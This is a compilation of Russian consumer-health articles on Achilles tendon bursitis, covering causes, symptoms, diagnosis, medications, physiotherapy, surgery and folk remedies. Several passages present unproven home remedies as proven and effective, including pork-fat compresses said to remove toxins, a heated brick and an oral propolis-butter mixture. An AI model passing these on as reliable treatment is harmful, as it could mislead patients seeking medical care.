Бурсит ахиллова сухожилия — лечение народными средствами и мазями, причины и симптомы, узи и фото ахилла

Бурсит ахиллова сухожилия означает воспаление его сумки (от латинского bursa – сумка, itis- воспалительный процесс). Бурсы из соединительной ткани, содержащие внутри немного гелеобразной жидкости – природные защитные образования, расположенные вблизи суставов и сухожилий, их роль – амортизация, уменьшение трения элементов, защита при ударе.

Причины бурсита ахиллова сухожилия

Причин воспаления сумок ахиллова сухожилия множество. В одних случаях нарушается кровообращение пяточной области и сухожилия, в других – они подвергаются травмам, в-третьих – распространяется патологический процесс из окружающих тканей. Основные причины заболевания ахиллова сухожилия следующие:

  • Повышенная нагрузка на стопу и голень у спортсменов;
  • Ношение неудобной обуви – тесной, на слишком высоком каблуке;
  • Травмы ахиллова сухожилия, пяточной области;
  • Артрит голеностопного сустава, распространение воспаления на сумки;
  • Болезнь Хаглунда-Шинца – остеохондропатия пяточной кости;
  • Воспалительный процесс пяточной кости – периостит, остеомиелит, туберкулез;
  • Шпора пяточной кости;
  • Системные заболевания костно-суставного аппарата: подагра, волчанка, ревматоидный артрит;
  • Занос инфекции при различных инфекционных заболеваниях;
  • Гиподинамия, длительное пребывание в положении сидя, застой крови в ногах.

Симптомы патологического процесса

Больного бурситом беспокоят боли в пяточной области, голени, чаще по утрам и во время ходьбы, при опоре на пятку и при сгибании пальцев стопы. В острой стадии симптомы резко выражены, может повышаться температура тела. При ходьбе часто возникает спазм икроножной мышцы. Воспаление гнойного характера вызывает:

  • Сильный отек нижней трети голени и голеностопного сустава;
  • Покраснение кожи;
  • Повышение температуры тела;
  • Нарушение общего состояния.

Хронический бурсит характерен появлением плотного бугристого округлого образования над пяткой, которое является не только косметическим дефектом. Оно вызывает боли, затрудняет ношение обуви и ходьбу.

Виды заболевания

Ахиллово сухожилие имеет 2 бурсы: глубокая или пяточная, расположенная между ахиллом и пяточной костью, и поверхностная или подкожная, отделяющая ахилл от кожи. По клиническому течению различают 2 вида бурсита ахилла:

  • Острый бурсит. Заболевание возникает и развивается очень быстро, в основном, как следствие различных инфекций в организме, часто протекает на их фоне. Вся симптоматика выражена очень ярко, но она быстро идет на убыль, если проводится лечение. Часто воспаление проходит, не оставляя последствий. На фото представлены виды бурсита ахиллова сухожилия;

  • Хронический бурсит. Патология развивается постепенно, чаще на фоне систематического травмирования, перегрузок. Возникают боли ноющего характера и постепенно увеличивающаяся локальная припухлость, которая затем уплотняется, формируется твердо-эластическое образование в области сухожилия, изменение контуров пяточной области.

Методы диагностики

Для уточнения диагноза, визуализации патологического процесса применяют дополнительные методы диагностики. Наиболее распространенным и доступным является ультразвуковое сканирование. Методы диагностики патологического состояния:

  • На УЗИ при бурсите ахиллова сухожилия, визуализируется увеличение и уплотнение одной или обеих суставных сумок, увеличено количество жидкости в них;
  • Более точным, но дорогостоящим методом является магнитно-резонансная томография (МРТ), которая позволяет детализировать все изменения в тканях, дает важную информацию для выбора методов лечения;

Похожие статьи

  • При необходимости может быть назначена рентгенография для выявления изменений в костях – последствий травм, наличия костных разрастаний и шипов;
  • Назначают также клинический анализ крови, для выяснения причины воспалительного процесса – биохимические специфические пробы на системные болезни (острофазовые реакции), на наличие мочевых кислот – при подагре, пробы на туберкулез.

Как лечить бурсит ахиллова сухожилия

Лечение ахиллобурсита может быть консервативным и хирургическим. Консервативным методом лечатся все острые бурситы, за исключением гнойного и хронические без грубых структурных изменений в тканях бурсы.

Иммобилизация голеностопного сустава

Необходимо создать покой сухожилию: подобрать удобную обувь без каблука, положить мягкую стельку под пятку. Накладывают фиксирующую эластичную повязку на голеностопный сустав или надевают специальный фиксатор голеностопа (ортез). Ограничивают ходьбу, исключают временно занятия спортом и другие нагрузки.

На ночь ортез снимают, а под ногу подкладывают мягкий валик или подушку, чтобы она была в удобном слегка согнутом в колене положении и немного выше горизонтального уровня. Это расслабит мышцы, уменьшит отек и боли в ноге.

Медикаментозная терапия

Для снятия воспаления и боли назначают средства нестероидного ряда – Диклофенак, Кетопрофен, Ибуфен, Найз и другие препараты – в инъекциях или таблетках. При гнойном бурсите назначают антибиотики.

Местно применяют одноименные противовоспалительные мази и компрессы с димексидом, разведенным с водой 1:3.

В ряде случаев для удаления жидкости выполняют пункцию бурсы, промывают ее раствором антисептиков.

При хроническом процессе и уплотнении тканей хороший эффект дают инъекции в полость бурсы анестетиков со стероидными препаратами (Гидрокортизон, Кеналог). Обычно делают 3-4 введения с интервалом в 4-6 дней.

Наружно для лечения бурсита ахиллова сухожилия используют мази с противовоспалительным действием:

  • Индометацин;
  • Бутадион;
  • Напроксен;
  • Кетонал;
  • Найз;
  • ДИП Рилиф;
  • Бетаметазон;
  • Финалгон.

Это – далеко не полный список наружных средств этого ряда. Некоторые применяют для рассасывания мазь Вишневского, Ихтиоловую мазь, и они дают определенный эффект. Не рекомендуется грубо втирать мазь, а наносить на кожу и покрывать пленкой в виде компресса, чтобы она лучше впиталась.

Физиотерапевтические процедуры и ЛФК

В рамках лечения бурсита ахилла применяют физиопроцедуры, ЛФК и массаж:

  • В острой стадии назначают только ультрафиолетовое облучение, по стихании острых явлений применяют ионофорез, УВЧ, магнитотерапию и ультразвук. При хронических формах уменьшить уплотнение помогает ударно-волновая терапия. Хороший эффект дают аппликации парафина и озокерита;
  • Лечебную физкультуру и массаж назначают, когда миновала острая стадия. ЛФК направлено на увеличение объема движений в голеностопе, укрепление мышц ноги, постепенную растяжку ахилла. Массаж выполняется на всей конечности от периферии вверх, его цель – улучшение притока крови и нормализация венозного оттока, увеличение микроциркуляции.

Хирургическое лечение

При остром бурсите оперативное вмешательство показано в случае нагноения, выполняют вскрытие сумки, промывание растворами антисептиков и дренирование. При хронической форме операцию делают, когда имеются грубые изменения в сумке, в самом сухожилии. Удаляют патологически измененные ткани грубые наросты, оссификаты, иногда делают бурсэктомию — полное удаление сумки. При необходимости выполняют пластику сухожилия.

Народные методы

Дома можно самостоятельно применять популярные народные средства. Чтобы они принесли пользу, а не вред, нужно предварительно согласовать их применение с врачом. Известные народные средства для лечения бурсита ахиллова сухожилия:

  • Компресс из черной редьки: натертую кашицу смешивают с небольшим количеством растительного масла и прикладывают к области сумки на полчаса дважды в день. Уменьшается боль, улучшается кровообращение, стимулируется восстановление тканей;
  • Компресс из хрена: корень хрена натирают, помещают на марлевую салфетку и прикладывают к больному месту. Кожу во избежание ожога нужно предварительно смазать глицерином или детским кремом. Применяют также, как и компресс из редьки;
  • Настойка из сирени – проверенное средство лечения воспалений опорно-двигательного аппарата. Листья и цветы сирени измельчают, помещают в поллитровую банку, заполняя ее наполовину, заливают спиртом, разбавленным пополам с водой или водкой. Настаивают в темном месте 1 неделю, процеживают. Кладут компрессы на 1 час дважды в день.

Также используют наружно лист лопуха, корень имбиря, прополис, мед с натертым луком и множество других средств.

Профилактические меры

Предупредить развитие ахиллобурсита гораздо легче, чем потом его лечить. Для этого нужно выполнять такие профилактические меры:

  • Исключить чрезмерную нагрузку на суставы ног;
  • Занимающимся спортом перед тренировками обязательно делать разогрев икроножных мышц;

Специалисты в области травматологии и ортопедии акцентируют внимание на том, что запущенные формы бурсита не всегда удается успешно вылечить.

  • Носить удобную обувь, отказаться от длительного ношения высоких каблуков;
  • Следить за весом тела, не допускать развития ожирения;
  • Вести активный образ жизни – регулярно выполнять физические упражнения, ходить пешком, ездить на велосипеде, особенно лицам, чья работа связана с длительным пребыванием в положении сидя.

При самых первых признаках заболевания нужно сразу показаться врачу.

Виктор Системов — эксперт сайта 1Travmpunkt

С этой статьей часто читают… Ахиллово сухожилие Воспаление ахиллова сухожилия Ахиллово сухожилие Травмы и воспаление ахиллова сухожилия Ахиллово сухожилие Методы удлинения ахиллова сухожилия Ахиллово сухожилие Лечение ахилового сухожилия

Источник: https://1travmpunkt.com/rastyazheniya/ahill/bursit.html

Ахиллобурсит: симптомы и лечение народными средствами

Ахиллобурсит: симптомы и лечение народными средствами

  • В организме человека имеется огромное количество суставов, которые отвечают за его подвижность.
  • Все суставы снабжены синовиальной сумкой и сухожилиями, с помощью которых суставы становятся очень прочными.
  • Но иногда, по многим причинам, суставы выходят их строя, появляется заболевание бурсит.

По месту локализации, бурсит бывает нескольких видов. Сегодня нас интересует ахиллобурсит.

Ахиллобурсит – заболевание сухожилия икроножной мышцы, расположенной внизу ноги, имеющее воспалительный характер и сопровождающееся сильными болями.

Если вовремя не лечить недуг, то пациент может лишиться возможности передвигаться. Что это за болезнь, ее симптомы и принцип лечения расскажем в нашей статье.

Что такое ахиллобурсит

Чтобы знать симптомы и приемы лечения болезни, нужно понимать в какой части тела происходят изменения.

Предметом поражения является ахиллово сухожилие. Оно располагается между икроножной мышцей на голени и пяточной костью.

Когда мышца сокращается, происходит определенное движение: прыжок, шаг, бег и т. д.

В норме это сухожилие самое прочное и выносливое у человека. Благодаря ему человек может ходить.

Схема образования ахиллобурсита

С разных сторон мышцы располагаются синовиальные пазухи, которые играют защитную роль и смягчают трение между ней и пяткой.

Эти пазухи малы, в размере достигают 3 см, напоминают небольшие мешочки. Когда происходит воспаление этих мешочков, наступает ахиллобурсит.

Причины возникновения заболевания

Недуг наступает в результате сильного напряжения на ахиллово сухожилие, а возникает по ряду причин:

  1. Ахиллобурсит можно считать профессиональным заболеванием спортсменов, верхолазов, танцоров.
  2. Чисто женская причина – ношение обуви на высоких каблуках.
  3. Ожирение, когда избыточный вес нагружает суставы, в результате чего синовиальные сумки сильно воспаляются и сухожилие деформируется.
  4. Нагрузка на конечности может возникать в следствие плоскостопия, искривления стопы.
  5. Длительное пребывание в положении стоя, например, работа за станком, кондуктор автобуса, преподаватели институтов, парикмахеры и т. д.
  6. Воспаление суставов вызывают артрит и подагра.
  7. Травмирование пяточной кости, ушиб нижних конечностей в области сухожилия.
  8. Инфекционное заболевание бурсов (синовиальных сумок).

В любом случае, если в ногах появились отклонения от нормы, следует проанализировать факторы, по которым они произошли.

В дальнейшем следить за этими изменениями, чтобы вовремя принять меры.

Симптомы ахиллобурсита

Как определить наличие у вас заболевания.

Представим полный список признаков, характеризующих ахиллобурсит.

Проявление ахиллобурсита

Обычно пациенты приходят к врачу с жалобами подобного рода:

  • Сильная боль в области воспаления ахиллового сухожилия. Оно может быть, как в состоянии покоя, так и при движении.
  • Особо боль усиливается утром, после отдыха.
  • Кожа на суставе краснеет и горит.
  • В месте соединения сухожилия и пяточной кости появляется отек.
  • Когда пациент пытается принять положение на носочках, то боль локализуется в пятке.
  • При инфекционном течении болезни в голени образуются нагноения, которые приводят к повышению температуры тела до 39 градусов.

Самостоятельно диагностировать ахиллобурсит можно только по неприятным ощущениям и при осмотре внешне.

Врачом могут быть назначены дополнительные методы обследования: рентген, УЗИ, анализы крови, анализы жидкости из синовиальных сумок.

Лечение

Для полного излечивания используются несколько приемов.

  1. Терапевтическое лечение – больному прописывается полный покой, то есть обеспечить суставы ног покоем. Делают это с помощью удобной обуви, ограничением сильных нагрузок на сухожилия, ходьбы на дальние расстояния, поднятие тяжестей. Иногда врач назначает массаж ступней или наложение тугой повязки, фиксирующей сустав.
  2. Физиотерапевтическое лечение – на данном этапе пациенту предложено посетить кабинеты лечебной физкультуры и физиокабинет. Там пациенту будут проведены следующие процедуры: электрофорез, магнитотерапия, облучение ультрафиолетом, ЛФК, лазерная терапия, ударно-волновая терапия.
  3. Медикаменты прописывают, когда выше перечисленные манипуляции не помогают. В данном случае прописывают Кеторол, Ксефокам. Это болеутоляющие и противовоспалительные препараты. Иногда делается гормональная блокада. Для этого в виде инъекций вводят кортикостероиды. Если болезнь отягощается гнойными образованиями, то здесь эффективно хирургическое вмешательство. Возле синовиальных сумок делаются надрезы, удаляется гной, рана промывается антибиотиками. Иногда хирурги отсекаю некоторую часть сумки сустава, при отсутствии которой функционирование сустава не изменяется.

А можно ли вылечить ахиллобурсит в домашних условиях, без вмешательства врачей? Можно, но процедура довольно длительная.

Важно! Амбулаторное лечение назначается только после тщательного осмотра врачом, получении консультаций по лечению и выполнении всех его рекомендаций.

Эффективное домашнее лечение включает использование мазей и гелей.

Диклофенак, Дип Релиф – анестетики, которые уменьшают болевой синдром и снимают воспалительный процесс.

Медикаментозное лечение ахиллобурсита с помощью Диклофенака

Еще одной процедурой, с помощью которой можно добиться эффекта в лечении ахиллобурсита дома – наложение компресса с Димексидом.

Для этого делается раствор Димексида и воды в пропорциях 1:1. Далее накладывается компресса на область сухожилия и туго забинтовывается. Процедура делается на ночь.

Лечение народными средствами

Для любителей народной медицины имеются некоторые, очень эффективные и проверенные рецепты, которые пациент может выбрать по своим предпочтениям.

Но при этом нужно обязательно получить консультацию у лечащего врача, так как при приеме различных отваров больной может получить аллергию или куда более опасные последствия.

Компрессы

Это один из видов народных снадобий. Здесь главную роль играют растворы для компрессов, приготовленные на основе лекарственных трав и других вспомогательных средств. Кроме этого, вам понадобится иметь при себе стерильный марлевый бинт, вату и ткань для давящей повязки.

Вот несколько рецептов для приготовления компрессов:

  1. Компресс из черной редьки. Рецепт очень прост. Овощ натирается на мелкой терке и раскладывается на бинт. Затем прикладывается к больному месту, предварительно намазанному любым растительным маслом. Сверху аппликация фиксируется шарфиком или другой повязкой. Такую процедуру стоит выдерживать ровно 1 час. Для снятия воспаления и болевых ощущений ее проводят каждый день, на протяжении месяца, в утреннее и вечернее время. Кроме снятия боли, мякоть и сок редьки способствует снятию отечности, боли, а также нормализации обмена веществ ахиллового сухожилия.
  2. Компресс с салом. Иногда некоторые рецепты удивляют воображением человека. До чего больной только не додумается, чтобы снять боль. Свежее свиное сало (не соленое) нарезают мелкими пластиками и туго приматывают к больному суставу. Но прежде ногу нужно распарить в теплой воде. В течение двух недель сало приматывается на ночь, ежедневно. Сало способствует устранению отеков и выведению токсинов.
  3. «Хреновый» компресс. Корни хрена натереть на терке и прибинтовать на голень, смазанную детским кремом или глицерином. Это необходимо, чтобы не получить ожог кожных покровов. Продолжительность процедуры аналогичная как при аппликациях с салом.

В комплексе с компрессами применяются целебные отвары из которых делают полезные ванночки для ног. Здесь очень хорошо помогает хвоя и морская соль. Она снимает усталость, препятствует распространению инфекции, устраняет боль и жар.

В качестве основного материала берут хвою, шишки и побеги сосны. Этот сбор кипятят в воде 30 минут, остужают, процеживают и настаивают ночь. Утром хвойный экстракт слегка подогревают и держат в нем ноги.

Другой действенный рецепт: прополис и сливочное масло. На 1 ст. л. прополисной спиртовой настойки берут 100 г натурального сливочного масла. Все ингредиенты тщательно перемешивают и пьют массу по 1 ч. л. перед едой.

Также очень эффективно средство, приготовленное из корней пырея, репейника и череды.

Ванночки с травами для лечения ахиллобурсита в домашних условиях

Высушенное сырье в равных количествах заливают водой и выдерживают на водяной бане. После чего употребляют готовый отвар внутрь, трижды в день в течение двух недель.

Издавна известен рецепт с использованием красного кирпича. Его применяли для лечения многих недугов, например, геморроя.

Суть такова – его нагревают, обматывают легкой тканью и прикладывают к больному месту для прогревания. Прогревание не должно продолжаться более получаса. После на кожу нанести косметическое масло или жирный крем, утеплить носком.

Некоторые пациенты, при ахиллобурсите, прибегают к помощи лечебной глины. Ими обмазывают область ахиллового сухожилия на 15 минут, после смывают и смазывают питательным кремом.

Важно! После прохождения полного курса какого-либо домашнего лечения необходимо показаться врачу, чтобы установить степень излечивания.

Заключение

Нами описаны достаточное количество способов лечения ахоллобурсита.

Если ситуация сложная, то лучше выбрать терапевтическое вмешательство, если симптомы начальные, то компрессы отлично справятся с проблемой.

Но если болезнь отступила, то не стоит останавливаться, необходимо выполнять простые профилактические меры: удобная и просторная обувь, каблук не более 4 см, отслеживание веса, следите за мозолями и натоптышами. Если признаки недуга все же вернулись, обратитесь к врачу.

Видео: Елена Малышева. Симптомы и лечение воспаления ахиллова сухожилия

Источник: https://noalone.ru/infocentr/zdorove/akhillobursit-simptomy-i-lechenie/

Бурсит ахиллова сухожилия: симптомы (ФОТО), лечение препаратами и народными средствами

  • Ревматолог высшей категории Олег Валентинович
  • 30990
  • Дата обновления: Сентябрь 2019

Бурситом называется воспаление синовиальной сумки сустава.

Патология характеризуется скоплением синовиальной жидкости в суставной полости. Это проявляется болезненной припухлостью в зоне поражения.

Бурсит ахиллова сухожилия – одно из распространенных заболеваний, сопровождающееся болью при ходьбе.

Ахиллобурсит – что это?

Ахиллово сухожилие ежедневно выдерживает колоссальные нагрузки. Оно соединяет стопу с голенью и проходит сзади пяточной кости. Именно это сухожилие работает при ходьбе.

Ахиллобурсит – это воспаление сухожилия, характеризующееся скоплением экссудата в суставной капсуле. Патология причиняет серьезный дискомфорт. При длительной ходьбе, травмах, ношении узкой обуви заболевание обостряется, увеличивается отек и появляется сильная боль.

При бурсите ахиллова сухожилия необходимо своевременное лечение. В случае сильной нагрузки существует риск его разрыва из-за давления скопившейся жидкости. Это может привести к тяжелому нарушению подвижности стопы и хромоте.

При бурсите ахиллова сухожилия воспаляется его синовиальная сумка(на рис. – 4)

Виды заболевания

Заболевание может протекать в двух формах – острой и хронической. При остром ахилловом бурсите наблюдается выраженный отек и болевой синдром при ходьбе. Хронический бурсит характеризуется периодическими обострениями.

Это происходит при незначительных травмах пяточной кости или вследствие ношения неудобной обуви.

Нередко хронический бурсит выступает осложнением заболеваний опорно-двигательного аппарата, например, артроза стопы или артрита пальцев ног.

Острый бурсит, несмотря на выраженные симптомы и очень сильный дискомфорт, достаточно быстро и успешно лечится. Воспаление, протекающее в хронической форме, характеризуется умеренно или слабовыраженными симптомами, но сложно поддается лечению.

По локализации различают передний и задний бурсит. Задний бурсит приводит к деформации пяточной кости вследствие воспаления синовиального мешка между кожей и сухожилием. Передний бурсит – это воспаление пяточной сумки в передней части пяточной кости.

Причины развития заболевания

Заболевание может быть вызвано различными причинами. Острый бурсит появляется вследствие:

  • ношения неудобной обуви;
  • чрезмерных нагрузок на стопу;
  • травм и повреждений стопы;
  • инфицирования синовиального мешка сустава;
  • переохлаждения стоп;
  • нарушения кровообращения в стопе.

Достаточно распространенной причиной появления заболевания является неудобная обувь. Ношение слишком узкой обуви или подобранной не по размеру приводит к постоянному сдавливанию ахиллова сухожилия.

Сначала на месте компрессии образуется мозоль, со временем развивается воспалительный процесс, затрагивающий сухожилие и сустав. Воспаление нередко вызывает узкая обувь из искусственных материалов, задник которой сильно сдавливает сухожилие.

Также причина может скрываться в неправильном положении стопы при ходьбе, например, во время длительных прогулок на высоких каблуках.

Постоянное ношение неудобной обуви может стать причиной воспаления

Бурсит может развиваться вследствие травм, повреждений, сильный нагрузок. По этой причине с патологией часто сталкиваются профессиональные спортсмены.

Воспаление сухожилия на фоне инфекций – еще одна распространенная форма заболевания. Это может происходить вследствие инфицирования всего организма патогенными микроорганизмами.

Также большие мозоли на пятках могут становиться причиной развития болезни. При повреждении мозолей возрастает риск проникновения инфекции.

Инфицирование ранки приводит к тому, что патогенные бактерии с током крови распространяются на окружающие ткани, в том числе суставную сумку и сухожилие.

При переохлаждении нарушается нормальный кровоток стопы. Если при этом человек носит неудобную обувь или случайно получает травму, существует высокая вероятность воспаления сухожилия.

Воспаление из-за нарушения кровотока может быть обусловлено полученными травмами, а также нередко наблюдается у тучных людей, из-за большой нагрузки на сухожилие.

Хронический бурсит развивается вследствие:

  • ревматоидного артрита;
  • инфекционного артрита;
  • артроза суставов;
  • подагрического артрита.

В этом случае принято считать бурсит осложнением этих заболеваний, но не самостоятельной патологией. Такой вторичный бурсит достаточно сложно поддается лечению, так как обостряется каждый раз при обострении основного заболевания.

Хронический бурсит также может быть следствием неправильного лечения острой формы воспаления. В этом случае он обостряется при ношении узкой обуви с жесткими задниками или длительной ходьбы. У женщин обострение хронического воспаления происходит при ношении высоких каблуков.

Симптомы заболевания

При воспалении над пяткой образуется бугорок

Внешне бурсит напоминает небольшое новообразование задней части стопы. Оно расположено чуть выше пятки и похоже на небольшой бугорок воспаленной кожи. Максимальный диаметр воспаления составляет 10 см.

Это новообразование является следствием скопления экссудата между пяточной костью и синовиальной сумкой сустава либо непосредственно в сумке. При обострении бурсит кожа сильно краснеет, пораженная область становится горячей наощупь и причиняет серьезный дискомфорт. Характерные симптомы:

  • отек кожи в пораженной зоне;
  • выраженная гиперемия;
  • боль при надавливании;
  • сильна усталость ног;
  • боль при ходьбе на пальцах.

Интенсивность болевого синдрома зависит от выраженности заболевания. При легком воспалении бугорок отличается небольшими размерами и болит только при надавливании. Большая зона поражения характеризуется сильной болью при ношении любой закрытой обуви.

Это объясняется тем, что на задниках обуви обычно проходит шов, который немного плотнее остального материала. Шов давит на воспаленную и отекшую область, постоянно раздражая нервные окончания. В результате ношения неудобной обуви бурсит не только обостряется, но и быстро прогрессирует.

Из-за компрессии воспаленного сухожилия область поражения растет, припухлость увеличивается в размере.

Характерная особенность заболевания – отсутствие дискомфорта в состоянии покоя. Стоит снять неудобную обувь, как сухожилие поболит еще некоторое время, а затем дискомфорт пройдет.

При хроническом бурсите боль выражена не столь интенсивно, но присутствует практически постоянно. Из-за отека связок ног в ночное время, пик болевого синдрома отмечается в утренние часы. Человеку необходимо «расходиться», чтобы болевой синдром отступил. Таким образом, если симптомы острого бурсита отступают, стоит лишь снять обувь, хронический бурсит стихает только при нагрузке.

Болевой синдром при ахиллобурсите, независимо от его вида, увеличивается при хождении на пятках. Стоит опереться на заднюю часть пятки, как боль сразу же усиливается. Это позволяет провести самодиагностику и вовремя заподозрить развитие болезни.

Распознать болезнь можно самостоятельно – по усилению боли при вставании на пятки

Чем опасно заболевание?

При бурсите ахиллова сухожилия лечение необходимо проводить своевременно. В лучшем случае, острый бурсит перейдет в хроническую форму, избавиться от которой очень тяжело.

Хронический бурсит станет постоянно напоминать о себе при покупке новой обуви.

Новые туфли всегда будут сдавливать ахиллово сухожилие из-за жесткости задника, провоцируя обострение воспалительного процесса и появление болевого синдрома.

Опасные осложнения при остром бурсите:

  • сепсис;
  • вовлечение в воспалительный процесс суставов стопы;
  • разрыв сухожилия.

Риск развития сепсиса существует при инфекционном воспалении. В этом случае патогенные микробы могут с током крови разноситься по всему организму. При сепсисе необходимо длительное и сложное лечение.

Запущенный бурсит может привести к развитию воспаления крупных и мелких суставов ноги. Это происходит из-за нарушения распределения нагрузки тела на больную ногу при ходьбе. Из-за боли человек будет сильнее опираться на здоровую ногу, что может привести к проблемам с суставами.

Самый опасный сценарий разрешения бурсита – это разрыв сухожилия. Без своевременной помощи это приводит к полной потери способности опираться на больную ногу. В результате для ходьбы придется использовать трость, так как восстановить функциональность сухожилия не всегда представляется возможным.

Постановка диагноза

Бурсит ахиллова сухожилия имеет настолько характерные симптомы, что с постановкой диагноза не возникает проблем. Первичный диагноз врач ставит уже после визуального осмотра.

Дополнительно нужно сдать анализ крови для определения наличия воспалительного процесса. Для исключения инфекционной природы заболевания сдается анализ синовиальной жидкости. Исследование ее состава помогает точно установит вид бурсита и причину его развития.

При выраженных изменениях пяточной кости дополнительно нужно сделать рентгенографию.

Консервативное лечение

Лечить бурсит ахиллова сухожилия следует комплексно, точная схема терапии подбирается лечащим врачом индивидуально для каждого пациента. Лечение включает:

  • применение анальгетиков и нестероидных противовоспалительных средств;
  • инъекции кортикостероидов;
  • физиотерапию.

Для купирования боли назначают анальгезирующие средства или нестероидные противовоспалительные препараты. К ним относят Ибупрофен, Диклофенак, Нимесулид. Дополнительно могут применяться мази с этими средствами в составе, но лишь при легкой форме заболевания.

Противовоспалительные препараты снимают неприятные симптомы

Тяжелый бурсит с выраженными изменениями тканей и сильным отеком лечат с помощью кортикостероидов. Эти гормональные препараты вводят прямо в место воспаления.

Такая процедура помогает быстро купировать воспалительный процесс, устранить боль и не допустить развитие осложнений.

Так как эти препараты небезопасны и являются синтетическими аналогами гормонов, лечение проводится только под наблюдением врача.

Лечение бурсита ахиллова сухожилия дополняют использованием противовоспалительных гелей, кремов и мазей – это быстро устраняет боль и улучшает местное кровообращение.

При инфекционном или бактериальном бурсите, когда происходит нагноение в месте скопления экссудата, назначают антибиотики. Дополнительно проводится очищение суставной сумки. Для этого врач делает пункцию и удаляет скопившуюся жидкость специальным шприцем.

После медикаментозной терапии, удаления экссудата и купирования воспаления лечение продолжают с помощью физиотерапии. При поражении ахиллова сухожилия назначается ударно-волновая терапия. Это стимулирует обменные процессы в хрящевой ткани, улучшает кровоток и способствует уменьшению наростов. Также практикуется лечение лазером.

Народные средства

Альтернативным методом является лечение народными средствами при бурсите ахиллова сухожилия. С этой целью применяют сухое прогревание и лечебные компрессы. Прогревание осуществляют с помощью прокаленной соли, которую высыпают в плотный мешочек и прикладывают к пораженной зоне на 5 минут дважды в день.

Важно! Прогревания запрещены при инфекционном воспалении. Это может привести к опасным осложнениям и попаданию инфекции в общий кровоток.

В качестве компрессов применяют уксус с медом, спирт, капустные листы. Перед компрессом ноги распаривают в ванночке, а затем наносят лечебное средство под марлевую повязку на всю ночь.

Перед применением любых народных средств необходимо проконсультироваться с врачом.

Профилактика

Чтобы не допустить развития заболевания, необходимо правильно выбирать обувь. Она должна быть изготовлена из натуральных тканей и подобрана точно по размеру.

Женщинам рекомендуется не носить слишком высокие каблуки постоянно, отдавая предпочтение обуви на небольшом устойчивом каблуке. Также следует избегать травм и повреждений ахиллова сухожилия.

Спортсменам и людям, которые много времени проводят на ногах, важно давать стопам отдых. Также не лишним будет использование специальных ортопедических стелек и вкладышей под пятку.



  1. Оцените статью
  2. (голосов: 4, средняя оценка 4.75 из 5)
  3. ☆ ☆ ☆ ☆ ☆

Источник: https://sustavy.guru/zabolevaniya/bursit/bursit-ahillova-suhozhiliya/

Бурсит ахиллова сухожилия: симптомы, лечение и методы диагностики, профилактика

Воспалительное заболевание, развивающееся в синовиальной сумке ахиллова сухожилия, называется бурситом. Возникновению и развитию бурсита ахиллова сухожилия способствуют чрезмерные нагрузки либо деструктивно-дегенеративные изменения, что происходят в тканях.

По мере прогрессирования патологии соединительные структуры уплотняются, накапливается экссудат. Проявляется воспалительный процесс различными по своей интенсивности болями, которые усиливаются во время движения.

На ранних стадиях болезнь хорошо поддается консервативному лечению, не вызывает развития осложнений, поэтому так важно обратиться к врачу как можно раньше.

Бурсит ахиллова сухожилия или ретроахиллярный бурсит — описание заболевания

При развитии воспалительного процесса слизистых сумок, которые находятся над костными выступами, диагностируется бурсит. Болезнь может поражать все суставы костного скелета (кость пятки, локтевые отростки, большой вертел бедра), а не только ахиллово сухожилие. В случае поражение непосредственно бурсы обычно речь идет о ретроахиллярном бурсите.

Бурсит голеностопного сустава этого вида возникает после перенесенной травмы или как осложнение после перенесенной инфекционной болезни.

В зависимости от формы заболевания (острая или хроническая) могут наблюдаться симптомы различной интенсивности.

Острая форма в большинстве случаев вызвана попаданием в организм инфекции, хроническая же форма развивается при отсутствии лечения патологий нижних конечностей. Хроническая форма бурсита характеризуется периодическими обострениями.

Симптомы воспаления в синовиальной сумке ахиллова сухожилия

Проявления патологии зависят от его типа и форма. Ахиллобурсит имеет такую симптоматику:

  • болезненные ощущения при длительной ходьбе, стоянии на носочках, прыжках;
  • ощущение дискомфорта в ноге после длительного отдыха, сна;
  • припухлость вдоль ноги;
  • боль в области пятки;
  • ограничение движений;
  • неприятные ощущения при надавливании;
  • покраснение кожного покрова.

Бурсит может развиться как на одной, так и на обеих ногах. Если не будет должного лечения, человек может лишиться способности передвигаться.

Острая стадия бурсита ахиллова сухожилия характеризуется такой симптоматикой:

  • заметное утолщение и отечность связок;
  • характерный хруст при движении;
  • хромота;
  • возникновение периодических болей.

Когда патология перейдет в хроническую форму, область пятки станет твердой, боль будет периодически появляться, припухлость сохранится. Кроме этого появляются проблемы при ношении обуви.

Про симптомы бурсита большого пальца стопы можно прочитать в данном материале.

Причины развития

Спровоцировать воспаление бурсы ахиллова сухожилия могут различные факторы, среди которых можно выделить такие основные:

  • Инфекции (стрептококки, стафилококки). Эта причина развития воспалительного процесса в бурсе является самой распространенной. По мере прогрессирования болезни состояние человека ухудшается. В некоторых ситуациях может потребоваться выкачивание жидкости, которая скопилась, хирургическое вмешательство. Чтобы не допустить развития более серьезных проблем со здоровьем, таких как сепсис, гангрена и др., лечение, включающее курс антибиотиков, должно быть начато как можно быстрее;
  • Переломы, растяжения. Полученные травмы могут стать причиной развития воспаления. Не редкими являются случаи, когда бурсит ахиллова сухожилия стал осложнением хирургического вмешательства, проведенного с нарушениями;
  • Высокий уровень нагрузки на сустав в течение длительного времени. Активные занятия спортом, особенно на профессиональном уровне, и чрезмерный вес могут стать причиной появления микротравм. Как правило, воспалительный процесс легкой формы, его легко можно вылечить традиционными методами;
  • Ношение неудобной обуви. Это считается одной из часто встречающихся причин возникновении ахиллобурсита у представительниц прекрасного пола. Когда сустав и сухожилие испытывает постоянную нагрузку, на них появляются микротравмы. Ткани постепенно раздражаются, провоцируя воспалительный процесс, что и приводит к бурситу.

Основные причины развития бурсита ахиллова сухожилия.

Предотвратить эту проблему поможет ношение ортопедической обуви и специальный комплекс упражнений.

Про симптомы бурсита пальцев ног можно прочитать тут.

Виды

В медицинской практике выделяются такие виды патологии:

  • Задний ахиллобурсит (деформация Хаглунда). Воспалительный процесс поражает синовиальный мешочек, расположенный между связкой и кожей, может быть длительным, если отсутствует лечение. Деформация Хаглунда чаще всего является двусторонней. На сегодняшний день точно не известно, почему она возникает. Чаще всего диагностируется у женщин в возрасте 20-30 лет, которые предпочитают носить обувь на высоком каблуке;
  • Передний бурсит ахиллова сухожилия (болезнь Альберта). Воспаление развивается в синовиальном мешке, который находится спереди от места, где ахиллово сухожилие прикрепляется к пяточной кости. Может развиться при воспалении суставов (в большинстве случаев при ревматоидном артрите), а также после полученной травмы.

В медицинских справочниках описаны случаи, когда у пациента диагностировали оба вида ахиллобурсита. Такая комбинированная форма болезни встречается крайне редко.

К какому врачу обратиться?

